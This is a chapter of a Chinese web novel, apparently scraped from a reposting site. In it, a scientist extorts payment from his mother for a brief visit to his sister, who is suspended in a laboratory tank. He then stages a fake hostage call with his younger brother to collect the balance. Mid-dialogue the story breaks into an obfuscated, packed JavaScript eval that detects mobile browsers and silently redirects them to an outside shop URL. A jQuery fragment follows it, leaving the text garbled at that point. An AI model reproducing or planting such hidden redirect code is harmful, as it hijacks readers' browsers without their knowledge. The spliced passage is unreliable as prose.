文趣网 > 其他小说 > 镜垩 > 64. 第64章 探视
    魏竹筠胸腔憋满怒火,厉声大骂:“虞清汜,你未免也太贪得无厌了!”

    虞清汜摊开双手,面上挂着一副无辜的模样:“做研究处处都是烧钱的窟窿,自然得麻烦妈妈多接济一二。难不成,你连见清清一面的心思都没有了?”

    他眼眸微微眯起,视线自上而下细细扫过魏竹筠与身侧沉默的齐晴,眼底闪着冷光。

    魏竹筠牙关咬紧,最后冷冷吐出几个字:“再减一些。”

    虞清汜轻轻摇头,脚步朝前踏出两步,压迫感扑面而来:“一分都少不得,如果付不起,现在转身离开便是。”

    魏竹筠浑身一僵,胸口起伏良久,终是咬着牙吐出一个字:“好。”

    清脆的转账提示音突兀响起,虞清汜脸上虚假的客套瞬间褪去,绽开发自内心的畅快笑意:“既然款项到位,那就随我来吧。”

    他转身走在最前面,眉眼舒展、步履轻快,像刚做成了一笔上好的买卖。魏竹筠紧随其后,盯着那道挺拔的背影,心底翻来覆去将他痛骂千百遍。齐晴刻意放轻脚步落在二人身后,垂着眉眼收敛所有存在感,但心脏跳得又沉又急,每走一步都觉得脚下的地面在往下陷。

    接连推开数道厚重的合金封闭门,冗长压抑的通道看不到尽头,冷白色的灯光从头顶笔直打下,在地面映出三个人拉长的影子。魏竹筠心底生出浓烈的疑虑,忍不住出声质问:“怎么还没到地方?你该不会从头到尾都在骗我吧?”

    虞清汜抬手在门禁感应区刷开最后一道隔绝外界的巨门,侧头笑得温和无害:“妈妈说笑了,我从不说谎。”

    厚重金属大门缓缓向两侧滑开,刺骨的寒意率先扑面而来,像一条冰冷的蛇缠上裸露的皮肤。偌大的密闭空间中央矗立着一人高的巨型透明玻璃缸,浑浊泛着青白冷光的液体灌满容器,虞清漄整具躯体静静漂浮在水中。她双目紧闭,乌黑长发无规则四散漂浮在液体里,四肢绵软垂落,肤色惨白得近乎透明,死寂安静地泡在水中,像一具失去生机、被浸泡许久的人偶,诡异得令人头皮发麻。

    魏竹筠瞳孔骤然放大,浑身血液仿佛瞬间冻结。她颤巍巍伸出手指向虞清汜,声音飘忽破碎,全然没了方才的强硬:“你……你竟然……”

    齐晴猛地睁圆双眼,胸腔骤然一空,浓烈的窒息感席卷全身。任何人看见眼前这幅惊悚画面,都不会觉得缸中的少女尚有活人气息。她的视线锁在虞清漄漂浮的发丝上,那些头发在水中缓慢浮动,像有自己的生命,又像只是被水流推动。

    虞清汜将两人惊慌失措的神色尽收眼底,唇角勾起一抹凉薄的笑:“怎么了妈妈?”

    他上前一步,伸手轻拍魏竹筠的肩膀,语调柔和得近乎诡异:“方才在路上你不是还有一肚子话要说,如今见到清清,反倒一言不发了?”

    那只手落下来的瞬间,魏竹筠浑身猛地惊悸一颤,像被什么冰冷的东西贴着脊背爬过。她猛地挥手狠狠拍开他的手掌,指尖止不住发抖,嘶吼出声:“你根本就是个没有人心的恶魔!”

    虞清汜无辜地眨了眨眼,语气故作委屈:“妈妈这般诋毁我,我当真会伤心的。”话音短暂停顿,方才温和的声线骤然沉下去,裹着刺骨森冷,“若是没有别的话要说,就趁早滚出去。”

    齐晴强压下心底翻涌的慌乱,指甲掐进掌心,出声追问:“她还活着吗?”

    虞清汜眉梢轻轻一挑,抬手指向玻璃缸旁闪烁跳动的显示屏。屏幕上一条条生命数据还在缓慢攀升,数字在冷光中一格一格往上爬,像某种不肯停下的呼吸。他语气松散:“自然是活着的。”

    齐晴用力收紧指尖,强迫自己稳住紊乱的呼吸,继续发问:“那我能不能和她对话?”

    虞清汜低低嗤笑一声,像听到什么不值一提的笑话,抬手直接截断齐晴未说出口的后半句,语气带着居高临下的轻蔑:“现在的你,还没有这个资格。”他抬腕瞥了眼表盘上跳动的时间,“你们的探视时限到了。”说着抬手做出送客的邀约手势:“走吧,妈妈。”

    魏竹筠急忙抬眼看向墙上计时器,急声道:“分明还没到三分钟!”

    虞清汜全然无视她的辩解,抬手轻拍两下墙面开关。厚重的黑色遮光幕布轰然落下,严丝合缝盖住整面玻璃缸,彻底隔绝两人的视线,幕布落定的那一刻,齐晴听到一声极轻的、像是水流被搅动的声音,又或者只是她的错觉。

    虞清汜语气瞬间强硬冰冷,不带半分商量余地:“我的话不说第二遍,出去。”

    魏竹筠死死咬着下唇,压下满心恐惧与怒火,冷哼一声率先转身离开。高跟鞋踩在金属地板上,发出急促又凌乱的声响。

    齐晴站在原地,看了幕布方向一眼,那里只剩下一整面平整的黑色,什么都看不见了。她攥了一下自己垂在身侧的手指,片刻后利落跟上魏竹筠的脚步。

    身后,虞清汜轻飘飘的声音顺着通道飘来:“我就不多送二位了,别忘了补齐剩余尾款。”

    坐进车内,魏竹筠胸腔的怒火依旧难以平息,狠狠拍了一下座椅扶手,闷声道:“这次就当是我帮你一把,往后别再去找阿灼了。”

    齐晴全程沉默,望着窗外飞速倒退的树影一言不发。一路上魏竹筠不停低声咒骂虞清汜,反复搓着手臂,满心想着回家之后要反复冲洗全身,洗去方才在实验室沾染的阴冷污秽感。

    行至半路,齐晴独自下车。头顶烈日高悬,空气闷热窒息,热浪裹着燥意扑面而来,柏油路面蒸腾着扭曲的热气。她站在原地,看着那辆黑色轿车驶远,尾灯一闪一闪消失在道路尽头,可她的心底却一片冰寒。

    刺骨的凉意顺着血管缓慢蔓延,一寸寸吞噬她四肢百骸。她低头看了一眼自己的手,指尖凉得像刚从水里捞出来。

    回到住处,温水自上而下冲刷着躯体,水流打在后背上发出细密的声响。齐晴抬手关停花洒,裹紧浴巾踩过冰凉地板走出浴室,客厅桌面的手机屏幕反复亮起,来电铃声一遍又一遍循环回荡,在空旷的房间里被放大了许多。

    她俯身拿起手机,指尖按下接听键。

    听筒里传来一道脆响的童声:“见到她了?”

    “嗯。”齐晴嗓音干涩沙哑,像被砂纸磨过。

    “她现在情况如何?”

    “……我不知道。”

    “能确定她还活着吗?”

    齐晴陷入长久的沉默。她想到虞清漄漂浮在液体里的样子,想到那些缓慢跳动的数据,想到幕布落下前听到的那声水响。许久,她才艰难开口:“我没办法确定。”

    对面传来一声嘲讽的低笑:“砸了一千万下去,半点有用的信息都没能打探出来?”

    齐晴攥紧冰凉的手机,再次出声恳求:“再帮我一次。”

    “理由。”

    “我必须确认,虞清漄是不是真的还活着。”

    那人淡淡哼笑一声,语气带着警告:“别忘了你当初答应我的条件。”话音落下,听筒骤然被利落挂断。

    齐晴紧紧攥着手机,屏幕暗下去之后,屋内的光线也跟着暗了一层。她望着空无一人的房间,无声轻叹,把手机扣在桌面上,声音沉闷地磕了一下。

    入夜,整片天空被厚重乌云彻底遮蔽,无风无雨,压抑得让人喘不过气。

    病房门被人猛地一把推开,虞清汜脸上挂着惯有的笑意,看向屋内的少年:“林姨,我有私事要和阿灼单独说。”

    林姨面露为难,转头看向虞清灼,见少年轻轻抬手示意无妨,才低声叮嘱:“别聊太久,阿灼到休息的时间了。”

    虞清汜温和应声:“不会耽搁太久。”

    房间内只剩兄弟二人,虞清灼脸上温和的伪装瞬间褪去,语气直白冷淡:“找我什么事

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816993|207787||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”

    虞清汜眼眸微微一眯,直戳核心:“你暗地里在筹划什么?”

    虞清灼故作懵懂,歪了歪头,笑意无害:“我听不懂你在说什么。”

    “你到底想要什么?”虞清汜步步紧逼。

    虞清灼笑嘻嘻撑着桌面,晃了晃交叠的双腿,漫不经心开口:“你何必动气?我这不是帮你解决了一大笔资金缺口吗?”

    虞清汜语气没有半分缓和:“这本就是你该做的事。”话锋一转,再度发问,“齐晴那边,是你的主意?”

    虞清灼眨了眨眼:“她一心想见姐姐,我不过是顺水推舟给她一个机会。”他弯起嘴角,“毕竟我向来乐意成人之美。”

    虞清汜翻了个白眼,冷声警告:“不要做出计划之外的多余举动。”

    虞清灼单手撑着下巴,指尖漫不经心地拨弄桌上的塑料玩具,随口问道:“那这次探视,姐姐有产生意识波动吗?”

    虞清汜微微颔首:“生命与意识数据确实有所上涨。”

    “那就安排他们再见一面。”虞清灼随口提议。

    虞清汜挑眉,追问缘由:“理由?”

    “姐姐唯独对她产生反应,这难道不算充足的理由?”虞清灼笑意狡黠,精准戳中虞清汜心底的软肋,“谁让姐姐心底记挂着她。”

    虞清汜脸上所有笑意瞬间消散,面色冷沉:“别最后作茧自缚。”停顿片刻,他冷声道,“下周三有一次合规的探视窗口期,能不能把握住,全看齐晴自己了。”

    他往前踏出几步,将手机屏幕递到虞清灼眼前:“正事聊完,之前欠下的尾款,也该结清了。”

    虞清灼抬眼看向亮起通话界面的手机,脸上嬉闹的笑意尽数褪去。他垂着眼沉默了两秒,再开口时声线已然换了,轻轻的、带着颤抖,像被吓坏了的小孩。他对着听筒开口道:“妈妈,我好害怕……哥哥说你还欠他一笔钱,是吗?”

    听筒另一头的魏竹筠瞬间怒火攻心,咬牙呵斥:“虞清汜,你到底想干什么?”

    虞清汜语气坦然无辜:“谈不上绑架,只是担心你事后赖账,留个人质稳妥些。”

    魏竹筠急声反驳:“他是你的亲弟弟!”

    虞清汜淡淡应了一声:“是吗。”随即语气陡然狠戾,“三分钟之内,我要尾款到账,不然就让你儿子下去陪着清清。”

    虞清灼配合地拔高音量,对着听筒哭喊:“妈妈,哥哥说能带我去见姐姐,是真的吗?我想去看看姐姐……”

    魏竹筠浑身一颤,一想起玻璃缸里浸泡的虞清漄,一股寒意直冲头顶,连忙慌忙妥协:“我马上给你转账,千万别伤害阿灼!”

    虞清汜好心提醒,语调冰冷:“你还有两分半。”

    听筒那头只剩魏竹筠急促慌乱的喘息,隐约还能听到她翻找手机、敲击按键的声响。

    倒计时仅剩三十余秒时,转账到账的提示音准时响起。虞清汜低头看了一眼屏幕,轻笑出声:“多谢老板。”干脆利落地挂断通话,直起身看向一旁翘首以盼的虞清灼,冷声道:“不要再给我惹不必要的麻烦。”

    虞清灼望着他离去的背影,他不屑地低声咒骂了一句什么,声音太小,没人听得清。

    待虞清汜的脚步声彻底消失在走廊,林姨立刻推门进屋,仔细检查少年周身有无异样,悬着的心才稍稍放下:“清汜方才和你说了些什么?”

    虞清灼随手把玩着手里的小玩具,语气平淡敷衍:“没什么要紧事,只是问我有没有按时吃饭。”话音落下,他打了个浅浅的哈欠,“我困了,我要睡觉。”

    慢悠悠挪到床边躺好,林姨眼底藏着几分疑虑,低声嘱咐两句,轻轻带上房门离开。

    门外传来压低声音训斥的声响,虞清灼静静听了片刻,索性扯过棉被蒙住双耳,隔绝外界所有杂音。

    真是烦人。